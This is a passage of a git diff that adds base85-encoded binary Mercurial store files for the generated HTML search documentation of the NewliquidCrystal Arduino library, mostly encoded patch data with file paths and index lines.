z5B=vO2jQyWblva(b_>-muAr4I4Jyu%iu|ZP@&%VRW0eZn>n5X4jOmBdR-X*poIu26W6Km(Hon^dNvK zNuvaTO@L9l588^wk3wO$gw#g1YhKzB)ty4(Nujj_0O6R?B(mBh032z`6jFjHY0=+j z?O1Q`AhWGTvHFOsTbF@KiAZgYvlf7Z3P#^a2^S_ms-st8z}~i8TDguy^E5_ zgObRLlBho=ktZbtFrkKN9XZV-63MWu%1I&^VA2&z|gCNn@eL9qa$ ztx7acI48-EP@#0>tC7my%6Ssm8BrbebGLG)p{Hvdv+dqNKf@mN^BRC>DtdBGPJ1e8 z@KMs>rKF+1l7{|DdNP^JTncCwjZhJA?RJyUV0V!>s9ElSKAy!nAzHT^05pk|eYvc=y8QOfd(WI-`CH$LBeLkoQn!`eK-qOk zZ@YJ3De`2AOcoEv>VUY_Hd3)QlDir_VG-g~D{Um!`o(h}hdue!i>lgvA7nvSvbr4< zHHdaSA=-BDKo;AtzN`^=E-1Pv#{*S%3M- zyyRyKcrJ;Bm`I1QN^~3xEo04MY+^zs)h`zbuLu5BH8=Corp!y5vi{nXd1=!YLDcD> z*ji!&Ra9zf%JAf49yInt)HiQ> zo{WDQ3=VXz?rt3mLr2M3YHIVB<+(n5yrOwDTwO37>RCBY#qv1J^2~(qb_YIvqg|o* zqG(UU;5f+4BDmUYI}BSc;nBN;_S9W_AG-Fzpmj^N0ldDYy1KMlU&TH6Ki9kleErVFYrDj|eYM3>flHm0r} zY$s7zA+g~U+<;?n0=6tU0taA{I$td*9#^Ww!tr~~d*hkk|Gn{8*3)0s^xF7-DB_{b z6Iv7<=d9b6#ULpiI~Ef!O5zWLSnzyYlr)Ka6+^Cn*?35~bF^u%=ANWwKAt?b59xG( z(^6h}j-92KaxAh@+HrDO4)WA4B+Ys6`dvl)H68BCp-jt`w^v2?b2%BaZup>ID|SB9 zv+)(n636c4Qgxhmdw=>*wc2R5+$f4+#PyAhBfa2uue?gODGa#_G3SISiV0&xgi0X* zJtYaE2sn00^9xyaoTyK8{c7jv)pXqBYS>eF9K9UBqx^86PGJ>&nl8}lysR#6cHW=JoJDdPymFG z7y4ZBe?mX&PHAgKU#_o>Z$^b*v9$xSBeEJgh+-oEud6b@-YBw|`jH)^9D`)(UNGLK~aW#s;);L)vgoTOk)Kp?pr1 zWZ1_t415=Rf(yxj5U2)icwSYx^U1QdKWkWzR$vhmSi}q#F@QzZ!+KALwBUK%FAr9; z-)0vViQL`!YjdK}&faYtXoh3^t7Sd^XjzYc+V(1th`Y6z9QWcx%x2$mYob|`br+%A zDK~niPEnzGQAvQpfN|l=koycvy=MZVTRI4Y#5iCziVB?{9Nd1kJBZVgM5QfgNn7^J z! z$}f}nqW30FTXq@E-7K;DS+Y(b*gzoINFZn~5WKHIo}!HC&zpjPF^Z&`94ELSoM5HY zWLtPZflkte-5o92#ljZelI<_q!IF*FiHRDBi5iKC%*90a6;q$ST_0c%3nc~B=S1Cp WF6IdNT2B}F|EZW}9sCDhg}EJdr%9Ut literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__6d.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__6d.html.i new file mode 100644 index 0000000000000000000000000000000000000000..5d35e5f917bdd05d26d18102bd65b80798402966 GIT binary patch literal 715 zcmV;+0yO;q0RRC20000000N5u00uMw00000005}}|NsC0|NsAtCuWzj!R*tJrb=F? zkTIuSkauhV00000000000001ZoUK$%Z{jczz4I$v?}bVmoA6P}Hp!vDsz{WrfNFP7 z$k+o(8l83}*ELCwCW%?NV z#CELAVx%NLFrE}P?=DXakrw^byk#nK#ABwEk7v^dwg%g>h;}FvHZw{Dyu79kxS3{p zYu;orvDz2q7Ld=zlp=P}^AJs_tTw?tpKlN@WZyZEirP@L{55ZqvwP1!tsT z)4(WAo*@_MKJl>xy_E?n8!XE!GGV(q?2PDN8 zak7XPd?ARn{0n2E$(Fp=6E5Sd({8k`yRA;QCwijW1 z4c>K|&}lClS68dfb+3KZ>Tq`j-46fIf~ghgzj$ywIkTd*Vs;MUd((5wo22(l^AOBL zPf}FHudEL@Lf~CEPEDkIyD=RS)9x?^8{Xz4Q9q3GB`FpW5s}JbmistK6Tmm`6W?C+ x9(Bj$sg=k_3GC7AI9JCf5PW%4JGH+=*G=AWPPSPkxZP&OaUOI( ztJ`~u273r>31q=Zn*aW6LbJ)LJq2m|gc;9w?D>qr6MdL`8BhPczb2_#u)(v#~eaE~~jSeQ=&l zEM~;*&{79VTPjIMy~xarq7*@nB9*BeN0GC8_M!zUASSkjKUUd#NXKQNuu#@?yF^OF z?rlgFKC9gtmm-C#Mm798{b&uSql4sG@kA=jhqPAP9P1QOQKEE&Rw(M4lC;7^dmvOI zwT;C{Yf)uOb?EyY*08fuQdeTH_+C@J@7;_RI!!*kC@$reh#cyANFN{WVU8wcnXO4C zjpe40`21qp`#ma9E4?SD&UfXxDKEt&}{-=B1dM_(9F;8`0 zEl=|OiDJ8m%lxH0w(T@CvwS9I(l!PE1HucJ2U4Q%ViG5P&O;YnHx6QqUDxAG*BYw1 zJ`!}cgi5bKM@9Mfo=)UI1EO9+aj>o^^$8o@jwiaRdd47Zv7bag2Jw_<^HiM(pLK!H zy1{21;IoeKJ>Z@+z$fb$2{!EK{yEdffwUIa2Jt57zeL&H(=g}xmZ!}dh%ei!V1H|%}~?0!e=i9Y1M zgbNuC1~GWjW5Np<4?qI*nEU!aX0k)`Teu(I$B#`?&5gVtzI7)b>h8+VphSwgPq-^d zJAP69Z=W%WK3G;y>Q8K;bF+1#*EyQu)%Hf7?Hh!1yJ>Ii_Dl?EQ5Hxq-xmJd(Oc3r wRL4amLsH;|JRaK4=#dLOzw8|se&>Cr?Ur@aBelRykJPkGrV;G@2lKUvt87WBdjJ3c literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__6f.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__6f.html.i new file mode 100644 index 0000000000000000000000000000000000000000..21f5f87a8aac57517ea469f09d3fbc9d2952e9d9 GIT binary patch literal 696 zcmV;p0!RG-0RRC20000000MXb00smA00000005}}|NsC0|Ns9*OltKPj=DrqkojVG z8`T$L$f?x;00000000000001ZoUK$*Z`v>re&<(s-V2o$yMaPsP4ZA+8WLqyNww_> znfM@SgOk|?ntwk#NhwV01kzrd%lZ4xzVCeJeHeZlgg@^`DAwx~-9O$=#sh>MO24-U zln%oo`tdcqn;@55qEIrS5}jm%rIe1Q7~xp!{4=Gy-HzqG1l z+p@}wk&@A#@uaZ1ceP`Pw9KdBEizu9C}m3dc=mA5R$x=+$rdHtdd7mo%d2aTn`x#u z=1vwf$rw+>3J0}82=S;v|H*j(wMjLu5l$gntc?o!)Gigr1ff2={tju5KOdK2+ zW#&Bvlflr`(Ck>{YLQRTTAV1gdydrZc~ZM)NbQ~}^|jmMtj)UZ9*0Gzzu<0k%{r}C z%PhR#V}Fxc{1>GUJ7HF4Q})8%e6Jf0dDHBU=_m%%q0e{ eG>$7?p_|6ilZwhsY1Wrk1&oN0UN zsL}>IH4>H982^1N+o6z_PJ8nD?R&d#*X!tN@@brYT~0}c+kz|~@8`2Ip&{p=Z^xWZ z(h2$UF@2bmA-f@|724&P8!ZaXrwdAGhPZprc~w=cx@E?0c)H>TUu)>aeHh}2k||U) z2_m0Kq6~yeBFwRXB;wsOh_--&_}U@-Ec1O#$3`P)4AXiCl*sNarU(b@dW>WytOJZ6 z(+}Yt<*!Aw*g{M_Cz}|hq}R=$?n+jrd1TV{y{7hF?CoM;4%QD1e>0HE9o31 znT4l@0m90RdBjVdwD}HCxzA!RI+PM;WlWz+E&U4Iw|DH>(PrE({cq~N-y0!s_ZLLp zjjD+(gmW=nua;s1e#I)^lU#XZrWG7sp(AgN0?TG1&zT#ca=oERA27xu-muTgtiY88 zwide7UyUcxRTu`+fWchNlx;G_-C9ZY>?dH>UomTbKudGK0qD!jL}x55LOD za@$-8+W<}r@Zo(uQ-kA%u338>OyzD@h&ra)XrQCZ!e5RqN%z8%?gRIGA~DfWk@YDy fpl1}?tnv(C9sBnc_p@_R~0%BM>vGcoZ))qtsrIk{(db2S@? zFkG;WS1dUpl(VSQaEhOmRq0fP?dBWBl$?_O{&SKKSn@jZ9GjuHoRXjJngTW3lbhz9 zJN@jV;ANp^`S4TsF6~+J+hd-*p@WyRL_xvNE$1FGJmA`~$k30WY0{oGr7O1-9(&2e zt*$BDQ|9Zvc56=f(cihZVyEl>J-g$hoMl#Eh3fh}tK34RBd2m5eX;e>{hk}bl}s03 Hdzkre&<)X-V2o$n~>0^Ym$djrXjVoDpcE^ zkmDGVHrSbMp!xT+la#`=PDR>NF6ZyN^L^*L@Z|b#IQw}&0-0VF;QsOIW;_JY!T7s3 z#Q1u44Ssx^-QEBf^}tLLu5z6VP6~`i69{0Yb@>J3?RJZ{9ujhiXAk(r#&RvWH66Xj zM5#_;+zIVT9A=E9aj0`$usFocw-c_ICcwsa*spcIiQrIh&A4`ERmmWr&0hpHd(lmf zOPUd>n2sK2U!4GA6Qs!bGmxx^pwd;rRK}QwK${3Hktzj2CfULu7?CtX)?=xP%DmM3 z*e9|fjTZtX>5lQFpt*N*Vu-k|rxPY3tpF{EQW2a!+><45F7NLoCl`Xg@$e1d71N-NNqN7h#PS&E9(X!slj8-Ry_y= ze`ZxGwmgE8>9ypbsjP{s(1dKdY-7~^+&gX2rDQhdN8#)8L)bSJs#PM2*Ulh>>yvrj zpVN6h7s$5z6B&5Ph2KB-S#p*nXTjjir;9<~_q@KBCP8p+I!)x#JP0^1i8M)IY_z#G z+Ju!>%DcxX?;fYTdxY}t@yho+-wlky zrUP`~Q{M~x#b9vZk>I?yNId^<${TV1qxAc8GOY`%CuL{8H!J(RiMS=2X3Wg*M1a$ tHWEaDvn`nJ`?~M|0#7eHhs|%$UE_D0gWc5%Zg*F`%It#f{08H-4ATwiWD@`Y literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__72.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__72.html.i new file mode 100644 index 0000000000000000000000000000000000000000..e20916b9d04c9b1bc9407f06b2c155ff6771a59b GIT binary patch literal 721 zcmV;?0xtak0RRC20000000NN!00tcZ00000005}}|NsC0|NsBdvVbK$Fxn^SBv4e! zTzW~TEI%j!00000000000001ZoRyTpa@sHuhVMLuqF%^ME!jYW)7U-)=!6+UGQpX) zCq`Hcc491777)LECEFp;X)@%5SpEM>`>j{r+3;=<{=OffSgliZ|9Cwa4-mE}{n;H* zIt+*C*G+gkK@PD|C|On{DiIk=DIHBQ!m(2McS?7=9ocn>kSiKK&=-@-G3I7zsRJkB zisPW=nVrCkf$_joiAo{xX#Lyr)}RMum*_j;8|ad)GVKNUM5U-a_yaMJX!^AI~1{*$Pa_JlUdzo5(oh@bVhk>t>3n zjlPr7Oa$Xew!%TPAcS~StN-;pK(R>`Zt~8hK40fW$D&cDWNE_4W0i8OU~OY0vS%o{ z*kwMJpf)l?by;=Nf=t=A4O@-+t9{<6a|tHrsq#&JlJ*Tjxn79$wJn6uYGu-uVQ1=LGVp2G1Mpk?r){ zuB}N%or}eiyBA&C1?Kj6N-t3^CA7oV0aSy!x5QPWmQA6U%odchrX$} zWh#n6kM2~UX8r2=aP$N3%(7ZsM4Pp)j_6WHDVXJTIp*#C%$}3##UVT?@|2Z6&O`?I z>V4zejo!0vnLKVI@=*pmG&_v7@sR|dU$u@~U#r_XZdpgqRs-BTTh%LO-saX{F_H~n D!s%Lm literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__73.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__73.html.i new file mode 100644 index 0000000000000000000000000000000000000000..d377c4afa6dae6fab14c3b5df2f9f4f501b04a29 GIT binary patch literal 2541 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__a.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__a.js.i new file mode 100644 index 0000000000000000000000000000000000000000..7cc01a69551c020b01b4740872c12dd5519b58fd GIT binary patch literal 289 zcmZQzWME`~fQJkWjB}vut^c85zWl!3ZGms5Fs@wNws2+B`)`X2k3!XesfszR=MA$D z8wj*Lyu1I|}sd3D2PyON0$oN;mq}*ZXF9Ikn~7|8mdPzV3|r z$7G8=KX2|&`K@#Q`_c0MrBaJTo>uN#zj>9}!xzg}zAhEtwNHB0;TkKu3g$bDwrSik zFi(-edL3O&K9AFH%PGllTae}B{d_hiH01ot?U?gP zIw4;_r4Ms5WH%(WLc1Juqea2_bU_Kt5O*Iqud0ewx6IfLPgnflYYn})4?{drGKGpJ zLF6+@lz~u5ggF+FM7( z`Z2tt{H=%Ewm9eHaMST+-R&fEx<>kUo%fH4;FhJ99M1+FZx zwa}&hYCMUq!Z45)1VXPIT#te;cOYv~xiGxbN^!aN9+88j{zhV=1&_*F)h z+vY;p25?${5AW-l8XPxt&D!f=DtEg=)G^gY107u!{&I9lx)+voAGqHWiHU}atWU84 eJ)_WOm1h9!*uSs1pPl<7X>Z2=dBH3DXjmjhPyoUJ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__b.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__b.js.i new file mode 100644 index 0000000000000000000000000000000000000000..90ccc0f0592cea6bacdd1ed339775186e29c1cf5 GIT binary patch literal 275 zcmZQzWME`~fXfUFjQUXa*8fnjfBS~)C7ni_Cw+@=^_q9c`h~uCE>sPes+g17zcK5u zfrx8)ee1&JAcJ$0Q@o3umZfmASZ#?mc;;Ev#mmPQ{p5G{?uEKwK}(8kBWao$i%{9zZMCI z23*j2ENR{S_-F3+=!n_jVgHZ)W%hcwMl7f>GV}PtCoZd4^4C5PZD zA}*u;>D7t=00000000000001ZoRw3-a@sHuz56Q^oyfsbm|QZ&_8~y0%n-_eGi^>C zRoY;uMxxRhedL3O&K9AF<<&7ib z{TSX+{#rzfEyQ#K8mvHLPqY(rs2jYQ?2Zj@T1AoTAH+ftQ-^f{E(1VHu<6;ilFm_* zS$J+3Ags)oN4(TYoA2roJfrxRQ>v~CA(Egi!*rv9i~m eXB673@(f@d`~8ah*||TG_GbK_7yJVK?N}wrb_Z_& literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__c.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__c.js.i new file mode 100644 index 0000000000000000000000000000000000000000..27ed50f5e8387363a78a9eacbc2b87edfa1185fd GIT binary patch literal 1064 zcmV+@1lRij0RRC20000000Za%01R#b00000006cB|NsC0|NsAqtsJnL;>R*pUk)z) zt|X5mt$`*000000000000001ZoSl|UZyQGphVT9r26|8n814)?ADk4u#J&Uw(82-I zLm({3nPDwdwNpt+;eTJsk}NA;7gBT)c7WwG;4c3#xmYhLlMXP?f_&p%C; zb#XtRx7qUZoFC?0SCfm~;q~V5{r2$k^5;6|<#L!0b!eBjtH0+za8l&x(8VYy)T%m7 zULYaXNI~=D!e30@UtLe8)9J-a;9~aY?Mvd#?sOC>T0;;hA!krm95_)%U?t8aWXU1ZC-ryW*zy* zpC;4SgAc}R3Vfe~BVCgB;nyA;< z)U#6#;28n{7V+Z8fy3K}k6e$$E}tjJL{PFb8|e!5C3jKS*sI=CFkO@gcc!jlF~zA#PI@txbc4+ zkAf#uimfJvpU z_7YnO*T3dZdhV;Y&!0z?jBDS>u4U6&mx2maDL8YF>LUT|l)T36!~K7TyZ!^ALYPwb zHO0hMN|fTPLkiU{BQ-n)awul?UP#$FvTv3;Nb1SD5Ghh=#PqtDPvpH2wHPkd?g2Y= z>B!g-1<=`X;<4sG5cLW8192-SGvC-XDl?{#EY;|e1a6uYMjQ0>jQ1jMMJ+MK1Thy1 z6;L0YIAixAVtiHPr_uIeCukHxOr;A%%dN0Va4Z-@7sunkjo42^?nMvQ@l7BDWo!Nv z%-MQoA2LX{(K@a~_zvV={HZyuYdh;&v>7)zvU^C877CQ{EO7)mW&)pQci;NJ@0+7h zD~PC}_aazYu{yWRJ=kZb)>~ziI&K9P@hCS)n1gFJ6bd!+$t>G2H8oasUF$0&{RGaT zA%IOdN}AT=+-T-*32k<$D3N9-#~8vf$OBQ5<5o+9^#^UmbioZAb>YArRQV`T9!K5j zGTJI;Wwp`d0!WouN`X+!hS=u3A0JfT1>83+mC#&g>TL7THy^p0$3kks+vv~Z1OMBm z-BO?RZN0x+EqJ+`U02T@PxIu6CMgDI+Xwgt)q2-C zRoY;uMxxRhedL3O&K9AF<<&7ib z{TSX+{#rzfEyQ#K8mvHLPqY(rs2jYQ?2Zj@T1AoTAH+ftQ-^f{E(1VHu<6;ilFm_* zS$J+3Ags)oN4(TYoA2roJfrxRQ>v~CA(Egi!*rv9i~m eXB673@(f@d`~8ah*||TG_GbK_7yJSMfmkNaDFogC literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__d.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__d.js.i new file mode 100644 index 0000000000000000000000000000000000000000..57022bfc652a221b01c0aa7ce5743ad9436b421d GIT binary patch literal 250 zcmZQzWME`~fL#m>jFM3H*8fnDc>MC(H5*p4iMNz+n1%m5y7)=c8>kvERWYaZ+(E7; z2Z4r%yZseQZZK`U8yP-#QE+V20_WoblIdlh224|{{yJH?TzqR^`=|WXb3&q;*py?Oe)nGfUbkvdmaHw~bK#Is042I>B>(^b literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/mag__sel.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/mag__sel.png.i new file mode 100644 index 0000000000000000000000000000000000000000..d8311d735c4a8b31f7448debffa61962a4e0f7fa GIT binary patch literal 628 zcmZQzWME_f111v&1}0+&n_JA7*1_rU@&%JV2~+mG1J=1z`(fE)5S5Q;?|QXyStPeMcVe? z60;K6#jIb!94P2>#o>y%fuX@m_79>WHFAdL#)8E!!(3X-UOEJXh#WbvA~zswlI+d7 zGfR2ZB5v5Pdi3Y(Rm(ZSs!OKSEU)`;_Sg5ueczA%teH0XWXsc{lWCh3XZlP!|9oYL z77G*ON38%4P0P7{MFtWHk=N9nw?-|!m?6N!cJ#EQ-|}Fc(@Iml0=1@|NHJOyrk%D~ z5@>{niqqb>`n@T)w=rr=KOLeaYT_%rFu+5r>rmC+W7~3HeYIMA(c|0izsC~~8?3mR z^(Z)a+ihKjqe+6kmsuK?WiATP_>e6l(3WVE(C}l^=}s3WhU0|{_tazm-LZcpzu-}S z^5oM`86^6T&sf&^deqnJx+i&yEKi|GcBSufWYOmb!#}gxT+*V($;;P*v5*pgNYSnz6y8ZEHvwe5n)w}+B z>g%sv>t5HN|1dM=`qcKrjlci;na!?U`{e)g-&N8Kkt=p(obo@q92nsYp00i_>zopr E0RE>5}7GyL{TlS9*P-(k4lBWi5O-=3j-X0aF!od;@%g z4;cvT{T{w%=k|#YA7$KXW_3?vkknW#m%M9ILZ)G)#-D28C`rHFmA~!El;64KSAN_n z(Y!2{wfpPml1a?nmi6+_=Ja<7*6b16tjRN}T4T+cxr&#sY`ct5f6Rh*`>P2lv8OSWv`(~K3@|H%CK-V&p){1Iz{p1p`!c)8<9!yae-kaLC? z#P-`VFAcTg^q63kdUjsk&gjZ1vZoG2mWJlYey%PT)_*d+TIu7}Dd_=IOY~A#KXuA8 zm=iNgd4`d~v8Gedl8GzX=IA zos!QV(#HiEu^~x~P`1EAD^YSjTT()E#OfXAbzQUij%l;y>6#yXt&tb^VTfl+CQ;HP zhx`C#2x#h%o^;z#MVNW z`m6CIx(UM|GawLp<=}Q4gyH!FR}F32fm=(b@QtZI>X!OZV3vb(xzwbO|HH4;*?#A) zgKYt4CHU~6najaxL$|EG3?>U(m7a5PtYiPa;(m7SkEFdB|JMaC2|`vWb%+F; literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/pages__0.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/pages__0.js.i new file mode 100644 index 0000000000000000000000000000000000000000..f50ec36441e99115cb4b24fed8e0945f38a35127 GIT binary patch literal 204 zcmZQzWME`~fF2;V5XwIE9}0Hscc0#`y?n3fy_on(X<;W0SR6HmssU3Kb3{*WDZUc5Tlq!tTd=v0Rwq`cZF+`J`D&jD@^wKLm+REI;?UjHy-C#B++`p0!*Wd literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/search.css.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/search.css.i new file mode 100644 index 0000000000000000000000000000000000000000..d689c95182ec2960ad252594d34004c9f66ac77b GIT binary patch literal 1532 zcmVcf7BP(lkW=~I^lsShh%6>0C| zl}QX(b>hf23$)t*zWxN;3ADZU?uJ&Vlkxb>%$Z~N@^cbBV2&Wm*We4?fzOwn&c)0a z)ZZ^1AfF|nP-K9hrMT<-lpb6=5FEZ|c(s-e%2Hrn6S&X7g3$cQ*tWP3>kOnf{d#9C zYou0W;A*5SD)6^>>+Ko~l<*qn2xOq5TLx>hxTYKnOsfpQ1*c>q(47yaq7{m;;EG^p zEFoLrDiO5Kz^%i>44ebLCgSG=R|VQhTYu0%+*1YWyabzi`5yp>c-5jTjrJVGHA=_M zuz>l~iqTC~WE)04elWfGhxF=d_2HAuJ7K6sP{iKJVSn2v5B(ewlnd})=x4FY@VX$N zbrYTSwe!=6+8s?#h7mz#7?I-Lc;8yf($>-xGI7q76^La=Vwv>QbmYQWQt8}|RjFZ7 z;A)i|Q&!fT63Q}gG4896vC)lC4E4#oq?KgkxEA1^VMw~*J7NW_U>9&$@q{CWm!>k_ z)V5X0$Ck$B)a*4)cyCQje~$cB6ZN0T%-&AsqbS*2CWLYnrQsFylx%1vxNhPC{$fi3 z&tl4|HAAh|-*M-&&>D5QF(-Zkx?Nz@J}17Tm9ByFJT~?|7x)Ki<%Hv4Uq5=`<;mk= ziHSfAa6O!|faa_SM)q$hj&%F}+M6u9nw9(EWZK|@OJg>k-Onbm zP=`Ypw%J)1R0vvnFOrfzCk8>nV1YN>f4N1ACoJ518B&kcn;dnYUiCD1-WJvRz8ZL! z@HLd}$$*^x!!KJc;KzO!*q>fH{A37ZI{F|`=?;0VM7OUfQA6;6;iPZ3Tul!zT&w$* zz4ExPEC9)tZ;(BOB4z^|l2p)=B`h(KbSr5^^?f0jwuFm436xc!ok$9lQw9wu590`% z$+z8SPDYN#3Y^=nrCwlkwqOy!Y)SJC?}j#LX1;aG!T(W~Y)yYiF$g!9>F4BlUVRX2~!jMUY*7Hz~%(P8CZaD~9>2)9uHQv|p3f);xh!Ci- zGd817SU`ev7uZbuNj`ji_}(-3SQf~Me**`{3v+m;rS=T`1v1>ic>n+a00brg00001 zRsaAIZ2$lO00000wEzGB0RR90|5}J?kanp(_nV`1K%7zu)utQGlCKj%3Ij#~3aTL~^i4$-Q zoY)nijPztF^Zd>81R->X5c)tvO&-0_8MrD)`C1vZlQb@sPzFO=bIWccgpMAZo}KZu zH@2MG8s~YgyS{n+?S$KD{PiQM!l^ z3hq10j3fdYMod{dO2xpiW+!X|i!_Q7-|(NpsQ>wAt8BGg-3%j>p3y+z&3_;Gn-jy8 